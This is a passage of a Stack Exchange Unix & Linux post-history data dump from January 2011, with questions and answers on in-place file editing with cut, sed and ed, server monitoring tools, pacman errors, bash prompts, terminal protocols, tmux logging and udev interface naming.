meta](http://meta.unix.stackexchange.com/questions/ask) or just [give it a try](http://unix.stackexchange.com/questions/ask) and the community will decide." />
  <row Id="13113" PostHistoryTypeId="2" PostId="5820" RevisionGUID="73fa4131-1868-4feb-b8a1-fd55b16dcc35" CreationDate="2011-01-13T22:26:51.087" UserId="3613" Text="Your answer lies in the article [Timestamping Linux kernel printk output in dmesg for fun and profit][1], by Jeff Schroeder.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.digitalprognosis.com/linuxtips/timestamping-linux-kernel-printk-output-in-dmesg-for-fun-and-profit/" />
  <row Id="13114" PostHistoryTypeId="2" PostId="5821" RevisionGUID="34dc6aa6-f51f-4ecc-825c-f4302a7091ff" CreationDate="2011-01-13T22:42:35.147" UserId="916" Text="The [`man` page][cut-man] doesn't give me much hope, but I'm hope it's an undocumented (and/or GNU-specific) feature.&#xD;&#xA;&#xD;&#xA;[cut-man]: http://unixhelp.ed.ac.uk/CGI/man-cgi?cut" />
  <row Id="13115" PostHistoryTypeId="1" PostId="5821" RevisionGUID="34dc6aa6-f51f-4ecc-825c-f4302a7091ff" CreationDate="2011-01-13T22:42:35.147" UserId="916" Text="Can I make `cut` change a file in place?" />
  <row Id="13116" PostHistoryTypeId="3" PostId="5821" RevisionGUID="34dc6aa6-f51f-4ecc-825c-f4302a7091ff" CreationDate="2011-01-13T22:42:35.147" UserId="916" Text="écutà" />
  <row Id="13117" PostHistoryTypeId="2" PostId="5822" RevisionGUID="e441056d-9a1e-41ad-bb6e-6e054148fca6" CreationDate="2011-01-13T22:46:00.920" UserId="3712" Text="Munin is a data collector and visualizer (grapher) tool. It is easy to set up. Easy to use, but it uses too much resources and does not scale well. The default collection interval is 5min and it is not easy to change that, because it will overload your machine and some plugin has problems if you do that anyway. The plugins are executed (**forked**) every time when data collection occurs which is expensive. It has networked setup. You have to set up a local server and node even if you use one machine.&#xD;&#xA;&#xD;&#xA;Collectd is a data collector tool only. You can choose 3rd party soultions to graph the collected data, but it does not work out of the box. It has many plugins, mostly written as a C module which gets started once when you start the daemon. You can change the collection interval and you can get fine grained statistics. It can collect data locally or via the network." />
  <row Id="13118" PostHistoryTypeId="2" PostId="5823" RevisionGUID="9d0c2c41-b2a7-4a27-9e1d-f7cd9d4758e9" CreationDate="2011-01-13T22:52:46.127" UserId="1974" Text="I have two Microsoft LifeCam HD-5000 webcams which I am using as a home security system with the [Motion](http://www.lavrsen.dk/foswiki/bin/view/Motion/WebHome) package for linux. One problem I have is that because these webcams have auto-focus, sometimes they will try to automatically adjust the focus and will create false positive motion detection.&#xD;&#xA;&#xD;&#xA;It seems like you can fix the focus at infinity under windows. Is there any way I could do that under linux, using `uvcvideo`?" />
  <row Id="13119" PostHistoryTypeId="1" PostId="5823" RevisionGUID="9d0c2c41-b2a7-4a27-9e1d-f7cd9d4758e9" CreationDate="2011-01-13T22:52:46.127" UserId="1974" Text="Can the focus of a  Microsoft LifeCam HD-5000 be fixed at infinity under linux?" />
  <row Id="13120" PostHistoryTypeId="3" PostId="5823" RevisionGUID="9d0c2c41-b2a7-4a27-9e1d-f7cd9d4758e9" CreationDate="2011-01-13T22:52:46.127" UserId="1974" Text="éubuntuàévideoàéwebcamàémotionà" />
  <row Id="13121" PostHistoryTypeId="25" PostId="5821" RevisionGUID="49bfbdc5-3dc0-4229-91ce-35b61f283b86" CreationDate="2011-01-13T22:55:31.637" Comment="http://twitter.com/#!/StackUnix/status/25687414429192192" />
  <row Id="13122" PostHistoryTypeId="2" PostId="5824" RevisionGUID="1d52f651-8840-468b-b106-1ad223fa85cc" CreationDate="2011-01-13T22:57:52.473" UserId="1974" Text="What is &quot;several&quot; passes? What memtest tests have you run? I know I have seen memtest86+ take up to 6 or 7 passes to find an error with RAM sticks. Also, make sure you run the full battery of tests.&#xD;&#xA;&#xD;&#xA;It certainly does sound like the RAM is bad. I too have had `not syncing` panics because of bad RAM." />
  <row Id="13123" PostHistoryTypeId="2" PostId="5825" RevisionGUID="611cd0cb-3500-4423-bca3-f27b9decbe1a" CreationDate="2011-01-13T23:05:46.393" UserId="1207" Text="I don't think that is possible using `cut` alone.  I couldn't find it in the man or info page. You can do something such as&#xD;&#xA;&#xD;&#xA;    mytemp=$(mktemp) &amp;&amp; cut -d&quot; &quot; -f1 file &gt; $mytemp &amp;&amp; mv $mytemp file&#xD;&#xA;&#xD;&#xA;`mktemp` makes you a relatively safe temporary file that you can pipe the `cut` output into." />
  <row Id="13124" PostHistoryTypeId="2" PostId="5826" RevisionGUID="8a917c8e-1e99-4182-8e89-9cbfb7202fdc" CreationDate="2011-01-13T23:13:54.517" UserId="885" Text="You can't. Either use ed or GNU sed or perl, or do what they do behind the scenes, which is to create a new file for the contents.&#xD;&#xA;&#xD;&#xA;`ed`, portable:&#xD;&#xA;&#xD;&#xA;    ed foo &lt;&lt;EOF&#xD;&#xA;    1,$s/^\([^,]*\),\([^,]*\),\([^,]*\).*/\1,\3/&#xD;&#xA;    w&#xD;&#xA;    q&#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;GNU `sed`:&#xD;&#xA;&#xD;&#xA;    sed -i -e 's/^\([^,]*\),\([^,]*\),\([^,]*\).*/\1,\3/' foo&#xD;&#xA;&#xD;&#xA;Perl:&#xD;&#xA;&#xD;&#xA;    perl -i -l -F, -pae 'print @F[1,3]' foo&#xD;&#xA;&#xD;&#xA;`cut`, creating a new file (recommended, because if your script is interrupted, you can just run it again):&#xD;&#xA;&#xD;&#xA;    mv foo foo.old&#xD;&#xA;    cut -d , -f 1,3 &lt;foo.old &gt;foo &amp;&amp;&#xD;&#xA;    rm foo.old&#xD;&#xA;&#xD;&#xA;`cut`, replacing the file in place (retains the ownership and permissions of `foo`, but needs protection against interruptions):&#xD;&#xA;&#xD;&#xA;    cp foo foo.old &amp;&amp;&#xD;&#xA;    cut -d , -f 1,3 &lt;foo.old &gt;foo &amp;&amp;&#xD;&#xA;    rm foo.old&#xD;&#xA;&#xD;&#xA;I recommend using one of the `cut`-based methods. That way you don't depend on any non-standard tool, you can use the best tool for the job, and you control the behavior on interrupt.&#xD;&#xA;" />
  <row Id="13125" PostHistoryTypeId="2" PostId="5827" RevisionGUID="628f2f96-ee59-4f62-a42d-8353225c9d38" CreationDate="2011-01-13T23:18:12.657" UserId="3731" Text="Firstly, bravo for your enthusiasm your your going to love Arch. :)&#xD;&#xA;&#xD;&#xA;If you have not had the chance, please visit https://wiki.archlinux.org/index.php/Pacman. The wiki should be the first place to visit. It's kept up to date.&#xD;&#xA;&#xD;&#xA;After literally search (google pacman site:bbs.archlinux.org ) the forums(http://bbs.archlinux.org), if you don't find a solution there, you can/should ask. &#xD;&#xA;&#xD;&#xA;There is a sections for beginners to advanced, desktop to servers. Note: Most Archers are generally friendly, so be polite and you'll get or be pointed to answers quickly.&#xD;&#xA;&#xD;&#xA;1) If pacman is complaining there is ususally a good reason, don't ignore complaints unless you find good reason to ie.: &quot; it's okay to ignore the error &quot; . Good practice would be to check your logs first and foremost.. &#xD;&#xA;&#xD;&#xA;Alot of the logs live in /var/log/*&#xD;&#xA;&#xD;&#xA;- show the tail end or last couple of lines from the everything.log; which contains most errors across the system *as they happen.&#xD;&#xA;&#xD;&#xA;`# cat /var/log/everything.log | tail`&#xD;&#xA;&#xD;&#xA;2) It's also worth a serious note that running two package managers/instances of pacman at the same time is not a good idea. &#xD;&#xA;&#xD;&#xA;Did you start one then try to start another? It may be waiting for your input &#xD;&#xA;&#xD;&#xA;` Proceed with installation? [Y/n] `&#xD;&#xA;&#xD;&#xA;Then you try to use pacman to install something else *without* answering &#xD;&#xA;&#xD;&#xA;` error: failed to init transaction (unable to lock database)&#xD;&#xA;  if you're sure a package manager is not already&#xD;&#xA;  running, you can remove /var/lib/pacman/db.lck`&#xD;&#xA;&#xD;&#xA;The one thing that you should learn early is that **deleting anything should be your absolute last resort, in any situation with linux. There is no 'trash bin' with the commandline, delete really means its gone.** &#xD;&#xA;&#xD;&#xA;Again, bravo !! =)" />
  <row Id="13126" PostHistoryTypeId="6" PostId="5821" RevisionGUID="5c2c8022-c743-4064-a684-ba35040b1195" CreationDate="2011-01-13T23:18:42.687" UserId="885" Comment="edited tags" Text="éshellàéfilesàéioöredirectionàécutà" />
  <row Id="13127" PostHistoryTypeId="2" PostId="5828" RevisionGUID="0ed2f24f-0882-4791-bc03-7803e10781f0" CreationDate="2011-01-13T23:38:17.117" UserId="3739" Text="My favorite performance monitoring analysis tool is SGI's open source [Performance CoPilot][1] (PCP). For a single system, it might be overkill - for a set of enterprise systems, it's fantastic. PCP offers historical data, a networked configuration, and an alarm system which is incomparable in open source (or just about anywhere else).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://oss.sgi.com/projects/pcp/" />
  <row Id="13128" PostHistoryTypeId="2" PostId="5829" RevisionGUID="bc4d0e0c-a82b-49e6-a7d8-f01acd56d04d" CreationDate="2011-01-13T23:52:52.483" UserId="3731" Text="Describe where you are stuck?&#xD;&#xA;-&#xD;&#xA;&#xD;&#xA;Core is fine, use ethernet cable for internet connection. Being new to linux, wifi install works for many out of the box, but if not it may frustrate a bit.&#xD;&#xA;[https://wiki.archlinux.org/index.php/Wireless_Setup]&#xD;&#xA;&#xD;&#xA;You will need wpa_supplicant, wireless_tools, and the driver for your card. When you select packages from the ' [*]dev_base ' during the installation.&#xD;&#xA;&#xD;&#xA;You'll want to try to install arch at least once successfully before moving to chakra since it's based on arch, if you have issues this will help you get used to *finding* answers. &#xD;&#xA;&#xD;&#xA;Skim through the sections, then read the parts your not clear on. &#xD;&#xA;&#xD;&#xA;[ https://wiki.archlinux.org/index.php/Beginners_Guide ]&#xD;&#xA;&#xD;&#xA;It may also be a good choice to practice installing arch then chakra on virtual box *before* going live with your real system. Try to have another computer to read guides from while installing so you can troubleshoot." />
  <row Id="13129" PostHistoryTypeId="5" PostId="5827" RevisionGUID="f41a659d-5317-4439-92bd-4f5078b8a647" CreationDate="2011-01-14T00:03:01.040" UserId="73" Comment="deleted 568 characters in body" Text="If pacman is complaining there is ususally a good reason; don't ignore complaints unless you find good reason to, e.g. if it says &quot;it's okay to ignore the error&quot;. Good practice would be to check your logs first and foremost. &#xD;&#xA;&#xD;&#xA;A lot of the logs live in `/var/log/`. This will show the tail end or last couple of lines from `everything.log`; which contains most errors across the system as they happen:&#xD;&#xA;&#xD;&#xA;    # cat /var/log/everything.log | tail&#xD;&#xA;&#xD;&#xA;It's also worth seriously noting that running two package managers/instances of `pacman` at the same time is not a good idea. Did you start one then try to start another? It may be waiting for your input:&#xD;&#xA;&#xD;&#xA;    Proceed with installation? [Y/n]&#xD;&#xA;&#xD;&#xA;Then you try to use `pacman to install something else *without* answering and get:&#xD;&#xA;&#xD;&#xA;    error: failed to init transaction (unable to lock database)&#xD;&#xA;    if you're sure a package manager is not already&#xD;&#xA;    running, you can remove /var/lib/pacman/db.lck`&#xD;&#xA;&#xD;&#xA;The one thing that you should learn early is that deleting anything should be your absolute last resort, in any situation with linux. There is no 'trash bin' with the commandline, delete really means its gone.&#xD;&#xA;" />
  <row Id="13130" PostHistoryTypeId="2" PostId="5830" RevisionGUID="a3aebdba-bfd2-400f-9b00-d36feac27f7a" CreationDate="2011-01-14T00:05:07.277" UserId="3745" Text="My opinion is that [zabbix][1] rules. It's powerful and user friendly. You don't need any plugin or third party in order to make it work.&#xD;&#xA;&#xD;&#xA;You can find lots of other suggestions in [this post][2] at server fault.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.zabbix.com&#xD;&#xA;  [2]: http://serverfault.com/questions/44/what-tool-do-you-use-to-monitor-your-servers" />
  <row Id="13131" PostHistoryTypeId="2" PostId="5831" RevisionGUID="97db1d06-7f46-40de-8a39-c5c7204bf3aa" CreationDate="2011-01-14T00:07:15.657" UserId="3731" Text="necropost: Sadly KDEMod Repositores is no longer active .. &#xD;&#xA;&#xD;&#xA;Now -&gt; http://chakra-project.org/" />
  <row Id="13132" PostHistoryTypeId="5" PostId="3784" RevisionGUID="eed8686a-a3b7-4652-8998-20b39972fddf" CreationDate="2011-01-14T00:07:15.620" UserId="688" Comment="add warning; deleted 21 characters in body" Text="The staging area for the next Debian release, Squeeze, has been having PHP 5.3 since [early this year][1]. So, add `squeeze` to your '**/etc/apt/sources.list**', then:&#xD;&#xA;&#xD;&#xA;    apt-get update&#xD;&#xA;    apt-get --simulate install php5&#xD;&#xA;&#xD;&#xA;Check output, ensure important packages won't be deleted, and critical system libraries (EG, `libc6`) won't be upgraded, and if things look ok:&#xD;&#xA;&#xD;&#xA;    apt-get install php5&#xD;&#xA;&#xD;&#xA;Of course this should be a temporary measure. That is, remove that **squeeze** line from '**source.list**' when your are done installing that PHP.&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.qa.debian.org/p/php5.html" />
  <row Id="13133" PostHistoryTypeId="5" PostId="5805" RevisionGUID="f967d98c-965d-4a75-aa2d-52aa8d7d0522" CreationDate="2011-01-14T00:08:28.353" UserId="3629" Comment="added 130 characters in body" Text="Here is a `bash` equivalent of Gilles' zsh solution.  Bash doesn't have a native terminfo module, but the `tput` command (bundled with `terminfo`) does much the same thing.&#xD;&#xA;&#xD;&#xA;    PS1_line1='\w \$ '&#xD;&#xA;    PS1_line2='[some status]'&#xD;&#xA;&#xD;&#xA;    if (tput cuu1 &amp;&amp; tput sc &amp;&amp; tput rc &amp;&amp; tput el) &gt;/dev/null 2&gt;&amp;1&#xD;&#xA;    then&#xD;&#xA;        PS1=&quot;&#xD;&#xA;    \[$(tput cuu1; tput sc)\]&#xD;&#xA;    \[${PS1_line2}$(tput rc)\]${PS1_line1}&quot;&#xD;&#xA;        PS2=&quot;\[$(tput el)\]&gt; &quot;&#xD;&#xA;        trap 'tput el' DEBUG&#xD;&#xA;    else&#xD;&#xA;        PS1=&quot;$PS1_line2 :: $PS1_line1&quot;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If the terminal doesn't support one of the capabilities, it will fall back to a one-line prompt.&#xD;&#xA;&#xD;&#xA;The `trap` line is a hacky way to emulate zsh's `preexec` function.  See http://superuser.com/questions/175799/ for more info.&#xD;&#xA;&#xD;&#xA;**EDIT**: Improved script based on Gilles' comments." />
  <row Id="13134" PostHistoryTypeId="5" PostId="5802" RevisionGUID="f1481426-a570-4e51-92fe-7d8744c76055" CreationDate="2011-01-14T00:21:00.717" UserId="138" Comment="BBS para tweak, and added telnet BBS link" Text="Console programs typically use &lt;a href=&quot;http://en.wikipedia.org/wiki/Curses_(programming_library)&quot;&gt;curses&lt;/a&gt; or one of its successors to build the sorts of text user interfaces you're talking about. (There are other libraries of this sort, but it's not important to list them all here.)&#xD;&#xA;&#xD;&#xA;These libraries use one of two databases, called `termcap` and `terminfo`. (This is one of the many BSD vs. AT&amp;T differences you still find in modern Unix systems.) These databases contain maps that tell how to control the many terminal types. The vast majority of the terminal types you'll find defined in these databases didn't survive the days of &lt;a href=&quot;http://en.wikipedia.org/wiki/Computer_terminal&quot;&gt;real terminals&lt;/a&gt;, and so are now only of historical interest.&#xD;&#xA;&#xD;&#xA;What's survived, and are used by programs like &lt;a href=&quot;http://linux.die.net/man/1/minicom&quot;&gt;`minicom`&lt;/a&gt; and GUI &quot;terminal&quot; programs like `xterm`, GNOME Terminal, the OS X Terminal, etc., are a few common standards:&#xD;&#xA;&#xD;&#xA; * **&lt;a href=&quot;http://en.wikipedia.org/wiki/Ansi_terminal&quot;&gt;ANSI X3.64&lt;/a&gt;**: A standard for controlling &quot;glass terminals&quot; &amp;mdash; as opposed to &lt;a href=&quot;http://en.wikipedia.org/wiki/Teletype&quot;&gt;teletypes&lt;/a&gt; &amp;mdash; it is based on special sequences of characters which the remote terminal interprets. For instance, if the Unix box wants to tell the terminal to move its cursor to the upper left corner of the screen, it sends the characters `ESC` `[` `1` `;` `1` `H`. The first two characters tell the terminal to expect a control sequence, the 1s are the row and column, and `H` is the command meaning &quot;move cursor&quot;. Unix programs don't embed these &lt;a href=&quot;http://en.wikipedia.org/wiki/Escape_sequences&quot;&gt;escape sequences&lt;/a&gt;, it's all handled by the libraries mentioned above.&#xD;&#xA;&#xD;&#xA; Trivia: many PC &lt;a href=&quot;http://en.wikipedia.org/wiki/Bulletin_board_system&quot;&gt;BBSes&lt;/a&gt; used ANSI codes, too. (&lt;a href=&quot;http://www.telnetbbsguide.com/&quot;&gt;Still do&lt;/a&gt;, actually.)&#xD;&#xA;&#xD;&#xA; * **DEC &lt;a href=&quot;http://en.wikipedia.org/wiki/Vt100&quot;&gt;VT100&lt;/a&gt;**: A variant of the ANSI terminal standard, it became a popular enough that it's still supported by most terminal programs in some form. Sometimes you see this called the VT102 protocol, that being a later cost-reduced &amp;mdash; and therefore popular &amp;mdash; version of the same terminal design. Usually terminal emulators actually support one of the extensions to this protocol, introduced with newer DEC terminals. The most common are the VT220 and VT320 protocols. Each of these later terminal types has more capabilities, so the driving factor determining which terminal types a program can emulate is how capable that program is.&#xD;&#xA;&#xD;&#xA; These protocols are a backwards-compatible series, so sometimes you'll have a terminal emulator that says it supports VT320, but is missing a few things, yet is still useful because it supports enough of that protocol to work with your programs. If you only use the VT220 subset of the protocol, that terminal emulator may be fully functional even though you've told `curses` (or whatever) that you want programs using it to use the VT320 protocol.&#xD;&#xA;&#xD;&#xA; * **&lt;a href=&quot;http://invisible-island.net/xterm/ctlseqs/ctlseqs.html&quot;&gt;xterm&lt;/a&gt;**: A kind of amalgam of ANSI and the VT-whatever standards. Whenever you're using a GUI terminal emulator like the xterm or one of its derivatives, you're usually also using the xterm terminal protocol, typically the more modern `xterm-color` variant.&#xD;&#xA;&#xD;&#xA; * **&lt;a href=&quot;http://en.wikipedia.org/wiki/Linux_terminal&quot;&gt;Linux&lt;/a&gt;**: The Linux console also uses an extended variant of the ANSI terminal protocol, in the same spirit as the `xterm` protocols. Most of its extensions have to do with the differences between a PC and a glass terminal. For example, the IBM keyboard has some keys not on a DEC VT-whatever. (And vice versa.)&#xD;&#xA;&#xD;&#xA; Like Linux, some Unix systems have their own console terminal protocol, too. There's the `scoansi` ANSI X3.64 variant for SCO Unixes, for example.&#xD;&#xA;&#xD;&#xA; * **&lt;a href=&quot;http://en.wikipedia.org/wiki/Wyse&quot;&gt;Wyse&lt;/a&gt;**: A company, still around, that got started making glass terminals back in the minicomputer days. Although Wyse terminals were able to emulate the VT100 and other popular terminal protocols, they also had their own native codes. I mention it only because you still sometimes see programs that know these codes.&#xD;&#xA;&#xD;&#xA;You can find out which terminal standard you're asking libraries like `curses` to use by looking at the `TERM` environment variable:&#xD;&#xA;&#xD;&#xA;    $ echo $TERM&#xD;&#xA;    xterm-color&#xD;&#xA;&#xD;&#xA;When you `ssh` to another system, the `TERM` variable is carried along so the remote Unix box knows how to communicate with your local terminal.&#xD;&#xA;&#xD;&#xA;Because so many of these protocols are ANSI variants, and because the ubiquitous ASCII and UTF-8 character coding standards take care of so much else, an incorrect `TERM` variable isn't typically catastrophic. Things that tend to break are extended keys like Home and Page Up, Alt-whatever key combinations, and typographical display features like color, boldface, etc." />
  <row Id="13135" PostHistoryTypeId="5" PostId="1022" RevisionGUID="144256ad-2c77-468f-bde5-b0177dcf3727" CreationDate="2011-01-14T00:29:53.140" UserId="885" Comment="edited the question to generalize it to other shells" Text="Lets's say my prompt looks like this (the _ represents my cursor)&#xD;&#xA;&#xD;&#xA;    ~ % _&#xD;&#xA;&#xD;&#xA;Is there any way I could make it look like this&#xD;&#xA;&#xD;&#xA;    ~ % _&#xD;&#xA;    [some status]&#xD;&#xA;&#xD;&#xA;&lt;sub&gt; *The question was originally about zsh, but now has other answers.* &lt;/sub&gt;&#xD;&#xA;" />
  <row Id="13136" PostHistoryTypeId="4" PostId="1022" RevisionGUID="144256ad-2c77-468f-bde5-b0177dcf3727" CreationDate="2011-01-14T00:29:53.140" UserId="885" Comment="edited the question to generalize it to other shells" Text="Display stuff below the prompt at a shell prompt?" />
  <row Id="13137" PostHistoryTypeId="6" PostId="1022" RevisionGUID="144256ad-2c77-468f-bde5-b0177dcf3727" CreationDate="2011-01-14T00:29:53.140" UserId="885" Comment="edited the question to generalize it to other shells" Text="ébashàézshàépromptà" />
  <row Id="13138" PostHistoryTypeId="2" PostId="5832" RevisionGUID="0f4e150f-f262-4c9c-a883-557f8e376900" CreationDate="2011-01-14T00:35:31.887" UserId="2459" Text="I make heavy use of screen's &quot;log&quot; command to log the output of a session to a file, when I am making changes in a given environment. I searched through tmux's man page, but couldn't find an equivalent. Is anyone aware of a similar feature in tmux, or do I have to write my own wrapper scripts to do this?" />
  <row Id="13139" PostHistoryTypeId="1" PostId="5832" RevisionGUID="0f4e150f-f262-4c9c-a883-557f8e376900" CreationDate="2011-01-14T00:35:31.887" UserId="2459" Text="Is there an equivalent of GNU Screen's &quot;log&quot; command in tmux?" />
  <row Id="13140" PostHistoryTypeId="3" PostId="5832" RevisionGUID="0f4e150f-f262-4c9c-a883-557f8e376900" CreationDate="2011-01-14T00:35:31.887" UserId="2459" Text="éscreenàétmuxàéterminalömultiplexerà" />
  <row Id="13141" PostHistoryTypeId="2" PostId="5833" RevisionGUID="217d23c6-d083-49ba-b19e-3775af31805a" CreationDate="2011-01-14T00:36:19.653" UserId="3731" Text="Seems every reboot the names reverse different nics( wifi/ethernet ).. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="13142" PostHistoryTypeId="1" PostId="5833" RevisionGUID="217d23c6-d083-49ba-b19e-3775af31805a" CreationDate="2011-01-14T00:36:19.653" UserId="3731" Text="How would one permanently set names for network inteface (wifi/ethernet) in arch" />
  <row Id="13143" PostHistoryTypeId="3" PostId="5833" RevisionGUID="217d23c6-d083-49ba-b19e-3775af31805a" CreationDate="2011-01-14T00:36:19.653" UserId="3731" Text="éarchölinuxàéwicdà" />
  <row Id="13145" PostHistoryTypeId="6" PostId="5832" RevisionGUID="bf3136bb-c793-4f9d-80d2-e00458ba96c2" CreationDate="2011-01-14T00:45:46.620" UserId="885" Comment="edited tags" Text="éscreenàélogsàétmuxàétranscriptà" />
  <row Id="13146" PostHistoryTypeId="5" PostId="5747" RevisionGUID="bbea1aa3-754d-4dd7-a62f-f3c8ca39a3fd" CreationDate="2011-01-14T00:47:12.970" UserId="305" Comment="added 1870 characters in body" Text="I understend that `Σ(%CPU) ≤ logicalcores*(1+ε)` (where ε is measure and rounding error) but how can I have on 2 core system 2 different processes each taking 200% of CPU (as measured by htop)?&#xD;&#xA;&#xD;&#xA;**EDIT** Cores in above equation means logical cores i.e. taking into account all hyperthreading,  number of CPUs etc.&#xD;&#xA;&#xD;&#xA;**EDIT 2** Despite htop displays the number of processors I attach cpuinfo&#xD;&#xA;&#xD;&#xA;    processor	: 0&#xD;&#xA;    vendor_id	: GenuineIntel&#xD;&#xA;    cpu family	: 6&#xD;&#xA;    model		: 23&#xD;&#xA;    model name	: Intel(R) Core(TM)2 Duo CPU     T9600  @ 2.80GHz&#xD;&#xA;    stepping	: 10&#xD;&#xA;    cpu MHz		: 800.000&#xD;&#xA;    cache size	: 6144 KB&#xD;&#xA;    physical id	: 0&#xD;&#xA;    siblings	: 2&#xD;&#xA;    core id		: 0&#xD;&#xA;    cpu cores	: 2&#xD;&#xA;    apicid		: 0&#xD;&#xA;    initial apicid	: 0&#xD;&#xA;    fpu		: yes&#xD;&#xA;    fpu_exception	: yes&#xD;&#xA;    cpuid level	: 13&#xD;&#xA;    wp		: yes&#xD;&#xA;    flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good aperfmperf pni dtes64 monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr pdcm sse4_1 xsave lahf_lm ida dts tpr_shadow vnmi flexpriority&#xD;&#xA;    bogomips	: 5585.20&#xD;&#xA;    clflush size	: 64&#xD;&#xA;    cache_alignment	: 64&#xD;&#xA;    address sizes	: 36 bits physical, 48 bits virtual&#xD;&#xA;    power management:&#xD;&#xA;    &#xD;&#xA;    processor	: 1&#xD;&#xA;    vendor_id	: GenuineIntel&#xD;&#xA;    cpu family	: 6&#xD;&#xA;    model		: 23&#xD;&#xA;    model name	: Intel(R) Core(TM)2 Duo CPU     T9600  @ 2.80GHz&#xD;&#xA;    stepping	: 10&#xD;&#xA;    cpu MHz		: 800.000&#xD;&#xA;    cache size	: 6144 KB&#xD;&#xA;    physical id	: 0&#xD;&#xA;    siblings	: 2&#xD;&#xA;    core id		: 1&#xD;&#xA;    cpu cores	: 2&#xD;&#xA;    apicid		: 1&#xD;&#xA;    initial apicid	: 1&#xD;&#xA;    fpu		: yes&#xD;&#xA;    fpu_exception	: yes&#xD;&#xA;    cpuid level	: 13&#xD;&#xA;    wp		: yes&#xD;&#xA;    flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good aperfmperf pni dtes64 monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr pdcm sse4_1 xsave lahf_lm ida dts tpr_shadow vnmi flexpriority&#xD;&#xA;    bogomips	: 5586.38&#xD;&#xA;    clflush size	: 64&#xD;&#xA;    cache_alignment	: 64&#xD;&#xA;    address sizes	: 36 bits physical, 48 bits virtual&#xD;&#xA;    power management:&#xD;&#xA;  " />
  <row Id="13147" PostHistoryTypeId="5" PostId="5832" RevisionGUID="c0df0c28-e7d7-44b2-b428-e5a1cc53364f" CreationDate="2011-01-14T00:51:22.930" UserId="2459" Comment="Updated to clarify use case." Text="I make heavy use of screen's &quot;log&quot; command to log the output of a session to a file, when I am making changes in a given environment. I searched through tmux's man page, but couldn't find an equivalent. Is anyone aware of a similar feature in tmux, or do I have to write my own wrapper scripts to do this?&#xD;&#xA;&#xD;&#xA;EDIT: I'm aware of 'script' and other utilities that allow me to log a session. The reason that screen's functionality is so useful is the ability to define a logfile variable which uses string escapes to uniquely identify each session.&#xD;&#xA;&#xD;&#xA;e.g. I have a shell function which, given a hostname, will SSH to that host in a new screen window and set the window title to the hostname. When I start a log of that session, it is prefixed with the window title.&#xD;&#xA;&#xD;&#xA;If this functionality doesn't exist in tmux, I'll have to create a new set of shell functions to set up 'scripts' of sessions I want to log. This isn't hugely difficult, but it may not be worth the effort given that screen does exactly what I need already." />
  <row Id="13149" PostHistoryTypeId="5" PostId="5821" RevisionGUID="1c23781c-0d05-4866-a966-b69ff357572c" CreationDate="2011-01-14T01:04:40.477" UserId="916" Comment="fix grammar brain-fart" Text="The [`man` page][cut-man] doesn't give me much hope, but I'm hoping it's an undocumented (and/or GNU-specific) feature.&#xD;&#xA;&#xD;&#xA;[cut-man]: http://unixhelp.ed.ac.uk/CGI/man-cgi?cut" />
  <row Id="13151" PostHistoryTypeId="25" PostId="5832" RevisionGUID="44a4b946-1481-4b1b-8cc1-6f1a6e708ee2" CreationDate="2011-01-14T01:55:31.850" Comment="http://twitter.com/#!/StackUnix/status/25732713369567232" />
  <row Id="13152" PostHistoryTypeId="2" PostId="5835" RevisionGUID="cf4b4cc0-0aab-4b68-b117-4c629c18be2d" CreationDate="2011-01-14T02:58:48.470" UserId="305" Text="Use udev. In Gentoo and many other distributions it is done automatically but you may want to base on that if you want quick'n'diry solution:&#xD;&#xA;&#xD;&#xA;    # This file was automatically generated by the /lib64/udev/write_net_rules&#xD;&#xA;    # program, run by the persistent-net-generator.rules rules file.&#xD;&#xA;    #&#xD;&#xA;    # You can modify it, as long as you keep each rule on a single&#xD;&#xA;    # line, and change only the value of the NAME= key.&#xD;&#xA;    &#xD;&#xA;    # PCI device 0x8086:0x10f5 (e1000e)&#xD;&#xA;    SUBSYSTEM==&quot;net&quot;, ACTION==&quot;add&quot;, DRIVERS==&quot;?*&quot;, ATTR{address}==&quot;&lt;MAC_ADDRESS&gt;&quot;, ATTR{dev_id}==&quot;0x0&quot;, ATTR{type}==&quot;1&quot;, KERNEL==&quot;eth*&quot;, NAME=&quot;eth0&quot;&#xD;&#xA;    &#xD;&#xA;    # PCI device 0x8086:0x4236 (iwlagn)&#xD;&#xA;    SUBSYSTEM==&quot;net&quot;, ACTION==&quot;add&quot;, DRIVERS==&quot;?*&quot;, ATTR{address}==&quot;&lt;MAC_ADDRESS&gt;&quot;, ATTR{dev_id}==&quot;0x0&quot;, ATTR{type}==&quot;1&quot;, KERNEL==&quot;wlan*&quot;, NAME=&quot;wlan0&quot;&#xD;&#xA;&#xD;&#xA;Did you changed any udev configuration?" />
  <row Id="13154" PostHistoryTypeId="25" PostId="5833" RevisionGUID="1008c67f-5c82-4e66-9587-20a3133fc4a7" CreationDate="2011-01-14T04:55:33.827" Comment="http://twitter.com/#!/StackUnix/status/25778021445140483" />
  <row Id="13155" PostHistoryTypeId="2" PostId="5836" RevisionGUID="01f48007-77ff-45da-b8f8-ccfc31453476" CreationDate="2011-01-14T04:58:23.063" UserId="3760" Text="You might be able to set it using something similar to what's described in this situation:&#xD;&#xA;&#xD;&#xA;http://groups.google.com/group/synergy-plus/msg/2da394d9ebb8357b&#xD;&#xA;&#xD;&#xA;Took me a bit to get my head around this idea but it does make sense.  I have a similar situation to what's described here except my middle monitor is running Ubuntu server and so no X server.  I installed GPM (General Purpose Mouse) which allows a mouse and copy and paste in the terminal on the server.  I also then installed Synergy and tried it out but it doesn't work.  I've been thinking of using Actions --&gt; Keystroke in the config to switch to the server monitor with a hotkey, but I doubt it'll work.  I think it requires an X session.  I think I just need a HW KVM.  Anyhow, enough about that.  So, you might be able to set this up by configuring your monitors backwards in the OS and then &quot;tricking&quot; synergy by defining left and 